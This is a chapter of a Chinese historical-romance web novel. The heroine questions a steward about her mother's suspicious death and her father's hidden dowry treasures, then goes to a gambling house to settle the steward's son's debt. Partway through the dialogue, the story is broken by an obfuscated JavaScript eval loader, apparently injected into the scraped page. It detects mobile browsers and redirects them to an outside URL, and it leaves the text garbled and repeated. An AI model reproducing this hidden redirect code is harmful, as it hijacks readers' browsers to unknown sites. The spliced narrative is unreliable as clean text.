第170章 这笔账,她桑晚意一定会找他讨回来的
作品:《夫君兼祧弟媳?改嫁小叔后我扶腰叹》 桑晚意闭了闭眼,脑子里闪过母亲当年得知祖父死讯时那副肝肠寸断的模样。
“梁家倒了,按说老爷该下手了,可老爷还是怕,怕落个克妻的名声影响仕途,结果没想到,先夫人突然就病倒了。”
桑晚意不说话,任由老王继续说:“老爷说……老爷说,这是天要收先夫人,也免得他动手了,也就是那半年,他把宋岚安顿在后街的小宅子里,天天往那边跑。”
桑晚意想起自己五岁那年,母亲躺在床上咳嗽,到后来连话都说不连贯,而那个时候的桑景南,没有管自己的正妻身体,天天和自己的白月光的替身搞在一起。
老王观察着桑晚意的神情,犹豫半天,再次开口:“大……大小姐,小的想起一件事,不知当讲不当讲。”
“讲。”
“就在先夫人过世前的大概半个月吧,府里来过一个怪人。”
“怪人?”桑晚意眉梢微挑。
“是个雷雨天,那晚雨下得特别大,小的正准备去各院落锁,就看见一辆没有任何标记的马车停在了角门,从车上下来一个人,浑身裹在黑色的斗篷里,脸上还蒙着黑布,只露出一双眼睛。”
桑晚意坐直了身子:“我爹见了他?”
“见了,老爷当时已经在书房歇下了,一听门房报信,急匆匆地亲自打着伞去迎。”
桑晚意心中疑云顿生,能让他如此卑躬屈膝,甚至还要避人耳目走角门的人,身份定然不简单。
“他们谈了什么?”
老王摇摇头:“这小的不知道,老爷当时把所有下人都轰得远远的,连靠近书房十步以内都不许。那**概待了半个时辰就走了。”
老王顿了顿,声音更低了:“没过半个月,先夫人就去世了……”
桑晚意眼神变了变,听了这么多,她已经稳定下心神了,虽然没有直接证据,但直觉告诉她,母亲的死,跟那个神秘的斗篷人脱不了干系,但是这个神秘人到底是谁?
“我母亲过世后,她的那些嫁妆单子和私库钥匙,都在哪?”桑晚意问道。
梁家当初给母亲的嫁妆可谓是十里红妆,金银玉器铺面田产不计其数,母亲死后,这些东西大半都不知去向,桑晚意以前年幼不懂,后来想查账本却早已被宋岚那个女人攥得死死的。
老王犹豫了一下,还是说了实话:“明面上的铺子田产,大半都到了现在的夫人手里管着,但是……有些值钱的古玩字画,还有先夫人嫁妆里那些压箱底的宝贝,都被老爷收起来了。”
“收哪了?”
“书房。”老王指了指眼睛,“书房**架后面,有一间密室。小的有次进去送茶,正撞见老爷从里面出来,虽然只有一瞬,但小的看见里面堆满了箱笼。”
桑晚意冷笑一声,桑景南还真是够可以的,一边拿着梁家的钱铺路升官,一边养着外室私生女,最后还要害死发妻,把发妻的遗产据为己有,桑景南,这世上怎么会有如此厚颜无耻之人!
即使知道桑景南没有亲手拿刀杀了母亲,但他换药、纵容、甚至可能与外人勾结,这一桩桩一件件,哪一样不是催命符?这笔账,她桑晚意一定会找他讨回来的。
“行了,起来吧。”桑晚意站起身,理了理裙摆。
老王腿都跪麻了,哆哆嗦嗦地爬起来:“大小姐,那得贵的事……”
桑晚意看了一眼老王,然后说到:“我可以先给你三千两。”
老王一愣,脸色瞬间变得惨白:“大小姐,这……这才三千两,那赌坊的人说了,少一个子儿都要剁手的啊!”
“急什么。”桑晚意漫不经心地看着他,“剩下的两千两,我会慢慢替他还,至于今天,只要保证你儿子的手还在就行。”
“可是……”
“王管家。”桑晚意打断他,眼神凌厉,“你该不会以为,凭你刚才说的这几句话,就值五千两吧?那是买你儿子命的钱,也是买你忠心的钱,钱一次给清了,我拿什么保证你会乖乖听话?”
老王被那眼神看得心里发毛,他明白,自己这是上了贼船下不来了。
“小的明白,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113430|195675||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小的明白。”老王连连点头,把那三千两银票揣进怀里,像是揣着烫手的山芋。
“带路,去赌坊。”
……
长乐赌坊,京城最大的销金窟。
还没进门,就能听见里面嘈杂的吆喝声、骰子撞击碗壁的清脆声,冲天的喧嚣几乎要掀翻房顶。
门口站着两个五大三粗的打手,光着膀子,露出一身横肉。
老王看见这阵仗就腿软,缩在沈庄主身后不敢冒头,桑晚意却是面色如常,抬脚就往里走。
“哎哎哎,干什么的?”其中一个打手伸手拦住,一双牛眼上下打量着桑晚意,嘴里不干不净,“这地界儿也是娘们能来的?小娘子是不是走错门了,要不要哥哥送你回家啊?”
沈庄主刚要动手,桑晚意却抬手制止了他。
她今日虽然穿得素净,但那通身的气派和头上那支成色极好的玉簪,明眼人一看就知道非富即贵。
“我找你们管事的。”桑晚意声音不大,“告诉他,我是来给王得贵还钱的。”
一听是来送钱的,那打手立马变了脸,虽然还是流里流气的,但好歹把路让开了:“早说嘛,原来是财神奶奶,里面请——”
穿过乌烟瘴气的大堂,桑晚意被带到了二楼的一间厢房。
房门推开,里面坐着一个刀疤脸的壮汉,正翘着二郎腿在喝茶,旁边跪着个被打得鼻青脸肿的年轻人,正是王得贵。
“爹!爹救我啊!”王得贵一看见老王,立马哭嚎起来,“他们要剁我的手!”
“闭嘴!”刀疤脸把茶杯往桌上一磕,目光越过老王,直接落在了桑晚意身上。
这一看,刀疤脸愣了一下,他虽然是个粗人,但也是这长乐赌坊的管事,平日里也没少跟上头的人接触。
前些日子,主子那边特意传下话来,还给了画像,说以后要是见到画上这位姑奶奶,一定要好生伺候着。
这不就是画上那位嘛,自家主子心尖上的人!刀疤也没想到,自己有一天能接待上重要人物。

